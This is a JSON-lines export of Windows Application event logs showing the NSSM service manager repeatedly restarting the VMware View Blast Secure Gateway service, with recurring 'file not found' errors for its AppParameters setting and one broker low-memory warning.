{"@timestamp":1646741877922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161136}}
{"@timestamp":1646741895531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Mar 08 13:18:15 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":161137}}
{"@timestamp":1646742006416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161138}}
{"@timestamp":1646742006416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161139}}
{"@timestamp":1646742006417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157256","0"]}}},"module":"Application","provider":"nssm","sequence":161140}}
{"@timestamp":1646742006418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157256","157256","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161141}}
{"@timestamp":1646742006434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161142}}
{"@timestamp":1646742006435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161143}}
{"@timestamp":1646742006435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161144}}
{"@timestamp":1646742006436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161145}}
{"@timestamp":1646742135903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161146}}
{"@timestamp":1646742135905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161147}}
{"@timestamp":1646742135905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158640","0"]}}},"module":"Application","provider":"nssm","sequence":161148}}
{"@timestamp":1646742135906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158640","158640","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161149}}
{"@timestamp":1646742135922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161150}}
{"@timestamp":1646742135923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161151}}
{"@timestamp":1646742135923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161152}}
{"@timestamp":1646742135924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161153}}
{"@timestamp":1646742264436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161154}}
{"@timestamp":1646742264437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161155}}
{"@timestamp":1646742264438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158184","0"]}}},"module":"Application","provider":"nssm","sequence":161156}}
{"@timestamp":1646742264439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158184","158184","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161157}}
{"@timestamp":1646742264455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161158}}
{"@timestamp":1646742264456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161159}}
{"@timestamp":1646742264457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161160}}
{"@timestamp":1646742264458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161161}}
{"@timestamp":1646742392985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161162}}
{"@timestamp":1646742392986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161163}}
{"@timestamp":1646742392987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157752","0"]}}},"module":"Application","provider":"nssm","sequence":161164}}
{"@timestamp":1646742392988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157752","157752","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161165}}
{"@timestamp":1646742393005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161166}}
{"@timestamp":1646742393005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161167}}
{"@timestamp":1646742393006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161168}}
{"@timestamp":1646742393007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161169}}
{"@timestamp":1646742521520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161170}}
{"@timestamp":1646742521521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161171}}
{"@timestamp":1646742521522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158668","0"]}}},"module":"Application","provider":"nssm","sequence":161172}}
{"@timestamp":1646742521523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158668","158668","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161173}}
{"@timestamp":1646742521544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161174}}
{"@timestamp":1646742521544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161175}}
{"@timestamp":1646742521545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161176}}
{"@timestamp":1646742521546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161177}}
{"@timestamp":1646742650030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161178}}
{"@timestamp":1646742650032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161179}}
{"@timestamp":1646742650033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158156","0"]}}},"module":"Application","provider":"nssm","sequence":161180}}
{"@timestamp":1646742650034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158156","158156","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161181}}
{"@timestamp":1646742650053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161182}}
{"@timestamp":1646742650054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161183}}
{"@timestamp":1646742650055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161184}}
{"@timestamp":1646742650055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161185}}
{"@timestamp":1646742778569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161186}}
{"@timestamp":1646742778570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161187}}
{"@timestamp":1646742778570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158584","0"]}}},"module":"Application","provider":"nssm","sequence":161188}}
{"@timestamp":1646742778573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158584","158584","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161189}}
{"@timestamp":1646742778589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161190}}
{"@timestamp":1646742778590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161191}}
{"@timestamp":1646742778590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161192}}
{"@timestamp":1646742778591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161193}}
{"@timestamp":1646742907077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161194}}
{"@timestamp":1646742907077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161195}}
{"@timestamp":1646742907078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158676","0"]}}},"module":"Application","provider":"nssm","sequence":161196}}
{"@timestamp":1646742907078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158676","158676","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161197}}
{"@timestamp":1646742907094,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161198}}
{"@timestamp":1646742907095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161199}}
{"@timestamp":1646742907095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161200}}
{"@timestamp":1646742907096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161201}}
{"@timestamp":1646743035658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161202}}
{"@timestamp":1646743035659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161203}}
{"@timestamp":1646743035660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158264","0"]}}},"module":"Application","provider":"nssm","sequence":161204}}
{"@timestamp":1646743035660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158264","158264","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161205}}
{"@timestamp":1646743035678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161206}}
{"@timestamp":1646743035678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161207}}
{"@timestamp":1646743035679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161208}}
{"@timestamp":1646743035680,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161209}}
{"@timestamp":1646743164184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161210}}
{"@timestamp":1646743164185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161211}}
{"@timestamp":1646743164186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157452","0"]}}},"module":"Application","provider":"nssm","sequence":161212}}
{"@timestamp":1646743164187,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157452","157452","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161213}}
{"@timestamp":1646743164204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161214}}
{"@timestamp":1646743164205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161215}}
{"@timestamp":1646743164205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161216}}
{"@timestamp":1646743164206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161217}}
{"@timestamp":1646743292770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161218}}
{"@timestamp":1646743292771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161219}}
{"@timestamp":1646743292771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158540","0"]}}},"module":"Application","provider":"nssm","sequence":161220}}
{"@timestamp":1646743292772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158540","158540","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161221}}
{"@timestamp":1646743292790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161222}}
{"@timestamp":1646743292791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161223}}
{"@timestamp":1646743292791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161224}}
{"@timestamp":1646743292792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161225}}
{"@timestamp":1646743421262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161226}}
{"@timestamp":1646743421263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161227}}
{"@timestamp":1646743421264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158136","0"]}}},"module":"Application","provider":"nssm","sequence":161228}}
{"@timestamp":1646743421265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158136","158136","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161229}}
{"@timestamp":1646743421281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161230}}
{"@timestamp":1646743421282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161231}}
{"@timestamp":1646743421282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161232}}
{"@timestamp":1646743421283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161233}}
{"@timestamp":1646743550085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161234}}
{"@timestamp":1646743550086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161235}}
{"@timestamp":1646743550087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158336","0"]}}},"module":"Application","provider":"nssm","sequence":161236}}
{"@timestamp":1646743550087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158336","158336","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161237}}
{"@timestamp":1646743550104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161238}}
{"@timestamp":1646743550105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161239}}
